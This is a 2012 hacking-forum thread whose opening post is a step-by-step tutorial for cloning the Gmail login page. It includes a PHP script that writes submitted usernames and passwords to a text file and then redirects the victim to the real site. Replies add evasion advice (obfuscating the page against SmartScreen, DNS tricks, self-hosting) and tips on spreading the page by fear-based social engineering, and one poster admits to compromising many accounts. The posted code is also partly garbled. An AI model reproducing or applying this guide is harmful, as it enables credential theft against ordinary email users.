Author Topic: Phishing (For beginners and a revision for elite hackers)  (Read 17228 times)

0 Members and 1 Guest are viewing this topic.

Offline Dark Nebulae

  • Peasant
  • *
  • Posts: 117
  • Cookies: -79
  • Unleash the Hacker within you
    • View Profile
Phishing (For beginners and a revision for elite hackers)
« on: September 16, 2012, 11:54:17 am »
Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack.


1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Hotmail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.


2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit <CTR> + S which does this automatically. Choose where you would like to save the web page and hit Save.



3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.


4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.





Code: [Select]



<?php // This marks the beginning of the PHP script.
Header(“Locationhttps://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.
$handle fopen(“list.txt”“a”); // this tells the server to open the file “list.txt” and get it ready for appending data. Which in this case is your username and password.



Foreach($_GET as $variable => $value) {
fwrite($handle$variable);
fwrite($handle=);
fwrite($handle$value);
fwrite($handle\r\n”);
// This section simply assigns all the information going through this form to a variable. This includes your username and password.
Fwrite($handle\r\n”); // This writes your details to the file “list.txt”
fclose($handle); // This simply closes the connection to the file “list.txt”
exit;
?>
// Marks the end of the PHP program.



5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.


6. Hit <CTR> + F , or go to Edit -> Find , type in action and hit “Find Next”[size=78%].[/size]

7. This will highlight the first occurrence of the word “action” in the script.There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google.Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.


8. Save and close the file.


9. Next the hacker would upload the files up to a free webhost that supports PHP. With a simple Google search you can come up with a bunch that fall under this category.


10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”.



11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.
12. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL.
As you can see if you fell for this the hacker would have your email and password. Scary, eh?


Trust is like a piece of paper.Once it is crumbled,it can never be perfect.

Offline z3ro

  • Knight
  • **
  • Posts: 345
  • Cookies: 60
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #1 on: September 16, 2012, 12:28:48 pm »
Javascript keylogging is better..  :P
~ God is real. Unless declared as an integer.

Offline AmyNelle

  • /dev/null
  • *
  • Posts: 9
  • Cookies: 2
  • Love the life you live, live the life you love.
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #2 on: September 16, 2012, 12:54:56 pm »
Hmm.. very interesting.. also one of the reasons I never open all that kind of spam. And I don't even use internet banking because of this. Like damn, so many hackers around, so many traps. Though if you're as careful as I am, you could be smart by just calling to the bank and ask them if they'd sent any emails. Easy as that.. no?

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #3 on: September 16, 2012, 01:33:12 pm »
Give credits.

Offline Nexus

  • Serf
  • *
  • Posts: 24
  • Cookies: 9
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #4 on: September 16, 2012, 01:36:10 pm »
The other option is set your email client to reads emails as plain text only, it makes the phishing emails quite funny to look at:

Code: [Select]
Greetings!

It has come to our attention that you are trying to sell your personal Diablo
III account(s).
As you may not be aware of, this conflicts with the EULA and Terms of Agreement.
If this proves to be true, your account can and will be disabled.
It will be ongoing for further investigation by Blizzard Entertainment's employees.
If you wish to not get your account suspended you should immediately verify your
account ownership.

You can confirm that you are the original owner of the account to this secure
website with:
https://us.battle.net/login/en/?ref=http%3A%2F%2Fus.battle.net%2Fd3%2Fen%2Findex&app=com-d3
<http://us.battle.net.ok.jj-rs.com/login/en/login.html?app=wam&ref=https://www.worldofwarcraft.com/account/&eor=0&app=bam>

Login to your account, In accordance following template to verify your account.

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #5 on: September 16, 2012, 05:55:31 pm »
Copy and pasted from this ebook by David Melnichuk, page 41-45.
Code: [Select]
http://www.antitheists.co.uk/resources/TheHackersUndergroundHandbook.pdf



Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #6 on: September 16, 2012, 09:35:10 pm »
Javascript keylogging is better..  :P

Many of the most used modern browsers have picked up on this, making it hard or impossible/impractical.


<rant>
These kinds of books/articles/guides that only shows one way of doing things with no general process explanation is a clear sign of the author having no idea what he is talking about.

If the author of this text knew what he was talking about he would have explained the process of phishing in general terms and explained a few more spesific scenarios.
</rant>
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline G Man

  • Serf
  • *
  • Posts: 43
  • Cookies: -2
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #7 on: September 16, 2012, 11:24:59 pm »
Hm pretty good read although i bet this stuff was really effective 5 years ago rather now.
Insanity in individuals is rare - but in groups, parties, nations, and epochs, it is the rule.

Offline EmilKXZ

  • Peasant
  • *
  • Posts: 109
  • Cookies: 10
  • likes monies :p
    • View Profile
    • EmilKXZ
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #8 on: September 17, 2012, 12:34:07 pm »
EDIT: Consider for this method to work, you'll have to obfuscate some of the code, because technologies like SmartScreen will pick these things on sight, blacklist it, and render your server inaccesible, because your victim will go "red screen" in his/her browser.

Hm pretty good read although i bet this stuff was really effective 5 years ago rather now.
Heh, funnily I remember I did my first thesis on this, Phishing (5 years ago!). It was no advanced thing, in fact, it was exactly the thing mentioned in this post, except that I went more skiddier by using DaveDaDon's Fishing Bait. But my research was more on public awareness rather than technical skills. Surveys showed people didn't know these days and they scared even more when I did that on my presentation with my Satellite 490CDT, a real hacker's PII laptop!  ;D

On a side note: I used also some DNS tricks to mislead people into the real domains, but to the fake IP addresses.
« Last Edit: September 17, 2012, 12:38:01 pm by EmilKXZ »

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #9 on: September 17, 2012, 01:37:03 pm »
credits?
~Factionwars

Offline meowmeow

  • NULL
  • Posts: 3
  • Cookies: -9
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #10 on: October 02, 2012, 11:01:18 pm »
this is old it doesnt work anymore although i hacked somanyaccounts this way before..

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #11 on: October 02, 2012, 11:11:40 pm »
this is old it doesnt work anymore although i hacked somanyaccounts this way before..

Wait.. What.. What the...

So let me get this straight, phishing just stopped working?  :o
« Last Edit: October 02, 2012, 11:11:52 pm by ande »
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline meowmeow

  • NULL
  • Posts: 3
  • Cookies: -9
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #12 on: October 02, 2012, 11:55:13 pm »
maybe if u find a free domain which wont ban you after a few hours...and depends on where you send the fake page because for example on facebook you can not,and also depends of how stupid your victim is and most ppl know about this method by now...or AM i MISSING SOMETHING?

Offline meowmeow

  • NULL
  • Posts: 3
  • Cookies: -9
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #13 on: October 03, 2012, 12:59:33 am »
so tell me a good free domain host where i can upload the php scripts without being banned soon enough? and where can u distribute these fake pages without them being reported?! i am talking about social networks...also...the center point of phishing is social engeneering probabbly,but,u still have to be pretty dumb to type in your details in fake sites....nowdays...

Offline TRAiN3R

  • Serf
  • *
  • Posts: 35
  • Cookies: 14
  • To Train the Untrained
    • View Profile
Re: Phishing (For beginners and a revision for elite hackers)
« Reply #14 on: October 03, 2012, 02:48:35 am »
so tell me a good free domain host where i can upload the php scripts without being banned soon enough? and where can u distribute these fake pages without them being reported?! i am talking about social networks...also...the center point of phishing is social engeneering probabbly,but,u still have to be pretty dumb to type in your details in fake sites....nowdays...

LAMP
 
Create your own server instead of using a free host. And there are still plenty of dumb people that fall for phishers. Every 1 out of 10 people will fall for it. So say you sent out 1,000 emails, 1-10 odds gives you 100 people... Do this on a much larger scale, say 10 million, you now have 1 million.
 
To distribute your phisher you will need social engineering skills. This can and will vary person to person. A common method is fear, fear that their information is compromised and you are in a position to help them.
 
Lastly you can be ignorant as much as you want, but being rude to people will just get you looked down upon and expect the same rudeness.
Remember, remember the Fifth of November,
the Gunpowder Treason and Plot,

I see no reason why Gunpowder Treason should ever be forgot.